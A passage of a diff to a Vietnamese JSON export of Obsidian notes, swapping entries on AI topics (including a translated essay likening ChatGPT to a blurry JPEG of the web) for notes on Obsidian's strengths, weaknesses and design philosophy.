trả lời bằng các câu trả lời truyền đạt ý chính từ những thông tin bạn đã lưu trên máy chủ của mình.\n\nNhững gì tôi đã mô tả nghe rất giống ChatGPT hoặc hầu hết mọi mô hình ngôn ngữ lớn khác. Hãy coi ChatGPT như một jpeg mờ của tất cả văn bản trên Web. Nó giữ lại nhiều thông tin trên Web, giống như cách jpeg giữ lại nhiều thông tin của hình ảnh có độ phân giải cao hơn, nhưng nếu bạn đang tìm kiếm một chuỗi bit chính xác, bạn sẽ không tìm thấy nó; tất cả những gì bạn sẽ nhận được chỉ là một giá trị xấp xỉ, gần đúng. Tuy nhiên, vì giá trị xấp xỉ này được trình bày dưới dạng câu chữ đúng ngữ pháp mà ChatGPT rất giỏi tạo ra, nên người ta thường chấp nhận nó. Bạn vẫn là đang xem một ảnh jpeg mờ nhoè, nhưng nét mờ nhoè ấy hiện ra theo cách không làm cho toàn bộ bức ảnh trông kém sắc nét.\n\nSo sánh với cách nén lossy như vậy không chỉ giúp chúng ta hiểu về khả năng ChatGPT đóng gói và trình bày lại thông tin nó tìm thấy trên Web bằng cách dùng các câu chữ khác. Đó cũng là một cách để chúng ta hiểu được “những ảo ảnh”, tức là những câu trả lời hết sức vô nghĩa của nó cho các câu hỏi thực tế, mà các mô hình ngôn ngữ lớn như ChatGPT đều quá dễ mắc phải. Những ảo ảnh này là chính là các biến dạng nén, nhưng — giống như các nhãn diện tích không chính xác do máy photocopy Xerox tạo ra — chúng nghe có vẻ hợp lý đến mức để xác định được các lỗi này, đòi hỏi chúng ta phải so sánh với các bản gốc, trong trường hợp này có nghĩa là nội dung Web hoặc kiến ​​thức của chúng ta về thế giới. Khi chúng ta nghĩ về chúng theo cách này, những ảo ảnh như vậy không có gì đáng ngạc nhiên; nếu một thuật toán nén được thiết kế để tái tạo lại một văn bản sau khi 99% văn bản gốc đã bị loại bỏ, thì chúng ta nên lường trước được rằng phần lớn những gì nó tạo ra sẽ hoàn toàn là bịa đặt.\n\nLối so sánh này thậm chí còn có ý nghĩa hơn khi chúng ta nhớ rằng một kỹ thuật phổ biến được sử dụng bởi các thuật toán nén lossy là phép nội suy—nghĩa là ước lượng ra phần bị mất bằng cách xem xét những phần ở hai bên của khoảng trống/lỗ hổng. Khi một chương trình hình ảnh đang hiển thị một bức ảnh và phải tái tạo lại một pixel bị mất trong quá trình nén, nó sẽ xem xét các pixel lân cận và tính toán giá trị trung bình. Đây là cách mà ChatGPT thực hiện khi nó được yêu cầu phải mô tả, chẳng hạn như việc một chiếc tất bị mất trong máy sấy theo văn phong của bản Tuyên ngôn Độc lập Mỹ: nó sẽ lấy hai điểm trong “không gian từ vựng” và tạo một văn bản đứng ở vị trí giữa chúng. (Nó tạo ra văn bản này: “Khi trong suốt tiến trình các sự kiện của đời người, một người cần phải chia tách quần áo của mình, để duy trì sự sạch sẽ và trật tự của chúng....) ChatGPT rất giỏi về khoản nội suy này, đến nỗi mọi người thấy nó thú vị: họ đã phát hiện ra một công cụ \"làm mờ\" cho các đoạn văn thay vì hình ảnh, và thích thú nghịch ngợm nó.\n\nDo các mô hình ngôn ngữ lớn như Chat GPT thường được ca ngợi là thành tựu tiên tiến nhất của trí tuệ nhân tạo, nên mô tả chúng là các thuật toán nén lossy cho văn bản nghe có vẻ coi thường chúng —hoặc ít nhất là hạ thấp giá trị. Tôi thực sự nghĩ rằng cách nhìn này hữu ích khi nó giúp chỉnh đốn xu hướng nhân hóa các mô hình ngôn ngữ lớn, nhưng có một khía cạnh khác mà chúng ta cần xem xét khi dùng lối so sánh dạng nén. Kể từ năm 2006, một nhà nghiên cứu AI tên là Marcus Hutter đã trao phần thưởng bằng tiền mặt—được gọi là Giải Nén Kiến thức Nhân loại, hay Giải thưởng Hutter—cho bất kỳ ai có thể nén một ảnh chụp nhanh 1 gigabyte cụ thể của Wikipedia mà không làm mất dữ liệu (lossless), miễn sao nén nó nhỏ hơn file nén của người đoạt giải trước đó tạo được. Bạn có thể đã gặp phải các file được nén ở định dạng file zip. Định dạng zip giảm file nặng một gigabyte của Hutter xuống còn khoảng 300 megabyte; người đoạt giải gần đây nhất đã tìm cách giảm nó xuống còn 115 megabyte. Đây không chỉ là một bài tập bóp nén. Hutter tin rằng năng lực nén văn bản tối ưu hơn sẽ chính là con đường dẫn lối đến việc tạo ra trí tuệ nhân tạo đạt trình độ con người, một phần vì mức độ nén lớn nhất có thể đạt được là bằng cách hiểu văn bản đó.\n\nĐể hiểu được mối quan hệ giữa nén và hiểu, hãy tưởng tượng rằng bạn có một file văn bản chứa hàng triệu ví dụ về cộng, trừ, nhân và chia. Mặc dù bất kỳ thuật toán nén nào cũng có thể giảm kích thước của file này, nhưng cách để đạt được tỷ lệ nén lớn nhất có thể chính là rút ra các nguyên tắc số học rồi viết mã cho chương trình máy tính. Sử dụng máy tính, bạn hoàn toàn có thể tái tạo lại không chỉ hàng triệu ví dụ trong file mà còn bất kỳ ví dụ nào khác về số học mà bạn có thể gặp phải trong tương lai. Logic tương tự cũng áp dụng cho vấn đề nén một lát cắt của Wikipedia. Nếu một chương trình nén biết rằng lực bằng khối lượng nhân", + "Toàn bộ nội dung": "[[Obsidian không gọi vốn để theo đúng định hướng của mình]] \r\n\r\n\r\n- [Obsidian Hub](https://publish.obsidian.md/hub/00+-+Start+here \"00 - Start here - Obsidian Hub - Obsidian Publish\")\r\n - Obsidian Roundup\r\n\r\n\r\n\r\n# Discord Obsidian\r\n![](https://i.imgur.com/CAVIjPW.png)\r\n```button\r\nname Mở Discord Obsidian\r\ntype link\r\naction https://discord.gg/obsidianmd\r\ncolor blue\r\n```\r\n^button-n8na\r\n[[Obsidian không mạnh về quản lý tác vụ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-24T05:06:00.000Z", "id": "8U" }, { - "Tiêu đề": "AI. Dữ liệu lớn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/AI. Dữ liệu lớn", + "Tiêu đề": "Khả năng tuỳ biến của Obsidian rất cao", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Khả năng tuỳ biến của Obsidian rất cao", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataviewjs\nconst thưMụcHiệnTại = dv.current().file.folder\nconst danhSáchGhiChú = dv.pages(`\"${thưMụcHiệnTại}\"`)\nconst danhSáchLiênKếtTớiGhiChú = danhSáchGhiChú.map(i => i.file.link)\ndv.span(danhSáchLiênKếtTớiGhiChú)\n```\n\n## Nơi thảo luận\n![](https://i.imgur.com/tl5D9i8.png)", + "Toàn bộ nội dung": "- [[Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú]] \r\n- [[Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác]]\r\n\r\n[[Có sự đánh đổi giữa sự dễ dàng tuỳ biến dữ liệu của mình và sự dễ dàng hợp tác qua mạng]]\r\n[[Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-07-20T06:22:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8V" }, { - "Tiêu đề": "Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Cách để AI không bị ảo giác là kêu nó viết truy vấn cho Wikidata", + "Tiêu đề": "Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian có thể tạo biến tại bất cứ vị trí nào trong ghi chú", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![The Future of Knowledge Graphs in a World of Large Language Models - YouTube](https://youtu.be/WqYBx2gB6vA)\n[Are you smarter than an LLM?](https://d.erenrich.net/are-you-smarter-than-an-llm/index.html)", + "Toàn bộ nội dung": "Tuy nhiên, nếu số lượng biến là rất nhiều thì có thể cân nhắc dùng một cơ sở dữ liệu để chuyên biệt hoá chuyện này. [[Dữ liệu dưới dạng cơ sở dữ liệu đảm bảo các bên tham gia nhập dữ liệu cùng một định dạng]]\r\na:: 2\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-10T09:28:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8W" }, { - "Tiêu đề": "Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Có bằng chứng cho thấy việc có thêm dữ liệu và phần cứng để tính toán cũng không làm tăng khả năng nhận diện", + "Tiêu đề": "Obsidian cực kỳ dễ mở rộng tính năng", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian cực kỳ dễ mở rộng tính năng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Has Generative AI Already Peaked? - Computerphile - YouTube](https://youtu.be/dDUC-LqVrPU?si=H161x-mOwjjMfhH7&t=479)", + "Toàn bộ nội dung": "Lý do:: [[Obsidian lưu dữ liệu trên máy của người dùng]]\r\n\r\nObsidian tự xem mình là **IDE của suy nghĩ**. IDE hiểu đơn giản là phần mềm viết code chứ cũng không có gì phức tạp. Nhưng sự khác biệt giữa nó với các phần mềm viết lách khác như Word ở chỗ người sử dụng nó - lập trình viên - là người đang sáng tạo ra phần mềm, hay cao hơn nữa là đang thao túng phần mềm. Nhà lập trình viên sử dụng IDE để phát triển phần mềm, nhưng chính vì IDE cũng là một phần mềm, nên nó cũng sẽ biến đổi trong quá trình viết. Khi Obsidian tự xem mình là IDE của suy nghĩ, nghĩa là Obsidian tự giao cho mình cái trách nhiệm biến hóa cùng với dòng suy nghĩ của người dùng. Quá trình phác thảo là một quá trình đập đi xây lại từng câu từng chữ, và bạn cũng sẽ thấy mình làm vậy với Obsidian. Obsidian trước khi bạn viết dòng đầu tiên và sau khi bạn hoàn thành sản phẩm là hai thứ khác nhau.\r\n\r\nBởi vì Obsidian đáp ứng được việc [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng]], nên [[Cộng đồng Obsidian rất mạnh]]\r\n\r\nTool for thought\r\n\r\n[[Kể cả khi có API, việc mở rộng tính năng khi dữ liệu được lưu trên máy chủ không mạnh bằng việc mở rộng tính năng khi dữ liệu được lưu tại chỗ]] \r\n\r\n[[Khả năng tuỳ biến của Obsidian rất cao]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-02T13:15:00.000Z", "id": "8X" }, { - "Tiêu đề": "Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng", + "Tiêu đề": "Obsidian không gọi vốn để theo đúng định hướng của mình", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian không gọi vốn để theo đúng định hướng của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng]], và [[Lúc mới học thì cần chất lượng hơn là nhanh]] \nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8Y" }, { - "Tiêu đề": "Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Sự khác biệt giữa con người và mô hình ngôn ngữ lớn là con người có niềm tin và có thể kiểm chứng niềm tin từ môi trường bên ngoài", + "Tiêu đề": "Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Maggie Appleton]], [The Expanding Dark Forest and Generative AI](https://maggieappleton.com/ai-dark-forest)\n", + "Toàn bộ nội dung": "[[Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền]] \r\nCác công cụ khác như Notion, Fibery bắt tính tiền theo đầu người\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày cập nhật": "2023-10-27T12:22:00.000Z", "id": "8Z" }, { - "Tiêu đề": "Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI", + "Tiêu đề": "Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian phù hợp cho các dự án nhỏ, không có nhiều tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Toàn bộ nội dung": "Lý do:: [[Obsidian miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người]] \r\nLý do:: [[Khả năng tuỳ biến của Obsidian rất cao]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-11T15:34:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8a" }, { - "Tiêu đề": "Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng", + "Tiêu đề": "Obsidian xem liên kết là công dân hạng nhất", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Obsidian xem liên kết là công dân hạng nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Three types of AI-assisted programmers - Stack Overflow](https://stackoverflow.blog/2023/12/11/three-types-of-ai-assisted-programmers/)", + "Toàn bộ nội dung": "Khi nói rằng **liên kết là công dân hạng nhất**, có lẽ nó cũng tương tự như những cụm từ như \"đặt con người làm trung tâm\", \"lấy học sinh làm trung tâm\". Vai trò của việc liên kết thông tin lại cũng đã có quá nhiều người nói rồi, mình không phải nói thêm nữa. [Trong một bài phỏng vấn](https://nesslabs.com/obsidian-featured-tool), tác giả Erica Xu nói rằng tất cả những công cụ ghi chú mà cô đã dùng trước đây đều thiếu một tính năng nào đó khiến cô phải tự gãi ngứa mình. Cô cũng nói rằng cô không thể tin nổi số người đã nói với cô rằng họ cũng từng có ý tưởng làm một cái tương tự như Obsidian.\n\n[[Đồ thị giúp thấy được bức tranh tổng thể]] \n\n[[Cấu trúc phân cấp thường cứng nhắc và nhân tạo]]\n![](https://fibery.io/blog/static/88213e107b66de17b2f51eba1ae34459/573d3/vertical-hierarchy.png) \n![](https://fibery.io/blog/static/09bb5795dd9691396b52ee3de1d05c32/573d3/flat-network.png) \n\n[The Knowledge Organization](https://fibery.io/blog/the-knowledge-organization/)\n\nXem thêm:: [What does \"link as first-class citizen\" really mean? - Meta - Obsidian Forum](https://forum.obsidian.md/t/what-does-link-as-first-class-citizen-really-mean/33199?u=ooker)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-08-02T13:08:00.000Z", "id": "8b" }, { - "Tiêu đề": "Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Tiềm năng để kiếm tiền từ AI đến từ mảng học có giám sát nhiều hơn ở mảng tạo sinh", + "Tiêu đề": "Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Ý tưởng logo là cục đá đang được đẽo gọt, hàm ý ❝You shape your tools, and they shape you❞", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://i.imgur.com/yqnCnok.png)\nNguồn:: ![Andrew Ng: Opportunities in AI - 2023](https://www.youtube.com/watch?v=5p248yoa3oE&t=791s)\n\n[[Sự không phân biệt giữa AI học có giám sát và AI tạo sinh mà chỉ gộp chung vào AI làm nhiều người nhầm lẫn giữa điểm mạnh và điểm yếu của AI]]", + "Toàn bộ nội dung": "### Sharpen your thinking\n\nExtending the metaphor of obsidian tools, our ambition is for Obsidian to be the tool that helps you think more clearly. As a material, obsidian is shaped using a technique called [knapping](https://en.wikipedia.org/wiki/Knapping), chipping off flakes of rock to create sharp edges.\n\nObsidian aims to help you hone your thoughts and refine your ideas with precision. The new icon represents a practical, user-friendly tool that helps you cut through the clutter and carve out clear ideas.\n\n### You shape your tools, and they shape you\n\nWe believe that Obsidian should adapt to your way of thinking, not the other way around. That’s why we focus on making Obsidian highly customizable and extensible, so you can shape it to your unique needs.\n\nNguồn:: [The new Obsidian icon - Obsidian](https://obsidian.md/blog/new-obsidian-icon/)\n[[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng]]\n![Flintknapping an Obsidian Crescent. Ancient Stone Age Tool. - YouTube](https://www.youtube.com/watch?v=Kdn4bdhoUpE)\n[[Khi sử dụng công nghệ, ta không nghĩ là nó sẽ thay đổi bản thân mình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-06-02T05:36:00.000Z", + "Ngày cập nhật": "2024-07-27T05:47:00.000Z", "id": "8c" }, { - "Tiêu đề": "Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó", + "Tiêu đề": "Đồ thị giúp thấy được bức tranh tổng thể", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm mạnh của Obsidian/Đồ thị giúp thấy được bức tranh tổng thể", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \nLý do:: [[Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code]], [[AI gần như không có khả năng tự sửa lỗi code]] \n[[Thế mạnh của AI là làm những công việc cần tốc độ mà không đòi hỏi sự chính xác, chất lượng]] \n[[Người mới học nên bắt đầu bằng việc hiểu code đúng hơn là sửa lỗi code sai với lời hướng dẫn chưa chắc đúng]] \nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", + "Mô tả bài đăng": "graph view có thực sự có tác dụng gì không?", + "Toàn bộ nội dung": "Ví dụ, trong việc quản lý nhóm, nhờ có đồ thị mà ta thấy được độ đa dạng của nhóm: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Lý do của việc này là vì [[Đồ thị giúp ta thấy được mẫu hình]]. Mà [[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]. [[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]. Và [[Thang đo năng lực dựa trên việc có thể đưa ra phân tích và trực giác đúng hay không]]. \n\n\n![[Mối quan tâm chung.jpeg]]\n\nCác vault nhấn mạnh vào việc này:\n- [[Quản lý mối quan hệ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-07-26T03:33:00.000Z", + "Ngày cập nhật": "2024-06-22T15:40:00.000Z", "id": "8d" }, { - "Tiêu đề": "Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Đằng sau vẻ ngoài tự trị của AI là những người làm công việc dán nhãn và kiểm duyệt, vô hình và bếp bênh", + "Tiêu đề": "Obsidian khó tạo liên kết hai chiều được", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian khó tạo liên kết hai chiều được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Cartography of generative AI](https://cartography-of-generative-ai.net/)", + "Toàn bộ nội dung": "Lý do:: [[Obsidian không sử dụng dữ liệu dạng bảng]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-06-30T05:37:00.000Z", + "Ngày cập nhật": "2023-10-06T09:09:00.000Z", "id": "8e" }, { - "Tiêu đề": "Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Công nghệ thông tin/Dữ liệu, AI/AI/Để AI có thể tham gia vào việc lập trình được, nó cần phải làm được cả việc kiểm định và sửa lỗi code, chứ không phải chỉ mỗi sinh code", + "Tiêu đề": "Obsidian không mạnh về quản lý tác vụ", + "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/💎 Giới thiệu về Obsidian/Mô tả về Obsidian/Điểm yếu của Obsidian/Obsidian không mạnh về quản lý tác vụ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[Trước khi AI có thể kiểm định và sửa lỗi code, ta vẫn cần phải học lập trình để kiểm định và sửa lỗi cho nó]] \nNguồn:: ![What we need before even attempting to replace programmers with AI | Alex Gu | TEDxBoston - YouTube](https://youtu.be/OSUl6ExR5M8?si=zdhAQPpBXk6iEvkI)", + "Toàn bộ nội dung": "Sự mạnh mẽ của cộng đồng Obsidian và những triết lý của nó đã thắp lên một ngọn lửa đầy phấn khởi trong những người muốn tìm ra được một công cụ giúp quản lý tất cả những công việc trong cuộc sống của họ. Họ hiểu rất rõ rằng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]], và họ trông đợi rằng rồi cũng sẽ có ai đó viết ra được một cái plugin quản lý công việc đáp ứng được những nhu cầu của họ, hy vọng rằng những khao khát có một nơi chứa tất cả trong một rồi cũng sẽ được giải quyết. Nhưng dù có uống bao nhiêu tin tức thì họ vẫn thấy mình còn khát. Plugin thì cứ mọc như nấm sau mưa, nhưng cái thứ duy nhất họ cần thì vẫn tăm hơi biệt tích. Càng chờ càng chán, nhưng họ cũng không sao từ bỏ hy vọng được, vì không hiểu vì lẽ gì mà một cộng đồng mạnh mẽ đến vậy lại chẳng có người có cùng vấn đề với mình. Obsidian đã tạo ra một bất hòa nhận thức kinh niên trong người họ. \n\nCòn những hướng đi nào mà họ chưa vét cạn? AI? Knowledge graph? Tại sao không có ai đó viết một [[Fibery]] mà cũng lưu dữ liệu tại chỗ và ở định dạng đơn giản nhất như cách mà Obsidian đang làm? [[A problem well stated is half solved]]. Nhưng họ lại không dư dả thời gian để nghiên cứu vấn đề một cách rốt ráo, dù rất có thể đáp án có sẵn hết rồi.\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n\nCâu hỏi:: Tại sao plaintext lại không phù hợp cho quản lý công việc/tạo cấu trúc phân cấp? Các doanh nghiệp sử dụng knowledge graph xây dựng ERP của họ thế nào?\nCâu hỏi:: Có thể sử dụng kèm Obsidian với một RDBMS được không?\nCâu hỏi:: Chẳng lẽ không có một gói Python nào đọc các tập tin markdown rồi chuyển sang dạng cơ sở dữ liệu? Networkx có phải là như vậy không? Nếu networkx làm được thì sao không có ai làm hết?\n\nTLDR:: [[Cộng đồng Obsidian rất mạnh]], nhưng [[Obsidian không mạnh về quản lý tác vụ]], vì [[Việc quản lý công việc thường cần một cấu trúc]] và [[Obsidian khó tạo liên kết hai chiều được|liên kết hai chiều]], trong khi [[Obsidian lưu dữ liệu ở định dạng đơn giản]]. Việc này tạo ra bất hoà nhận thức ở người dùng về một công cụ tất cả trong một. Dù quả thật là [[Bất hoà nhận thức giúp chúng ta hiểu sâu sắc hơn]], thì bế tắc vẫn cứ là bế tắc. Cũng lưu ý rằng [[Những tác giả của những app quản lý công việc cũng cảm thấy app của họ không thể giúp quản lý công việc một cách hiệu quả được]]\n\nXem thêm:: [[Công việc khai phá và công việc khai thác]]\n[[Nhược điểm của Obsidian và Fibery]]\n\n[How many of you gave up on Task Management via Obsidian? : r/ObsidianMD](https://www.reddit.com/r/ObsidianMD/comments/1dha073/how_many_of_you_gave_up_on_task_management_via/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-02T07:38:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-05T15:49:00.000Z", "id": "8f" }, { - "Tiêu đề": 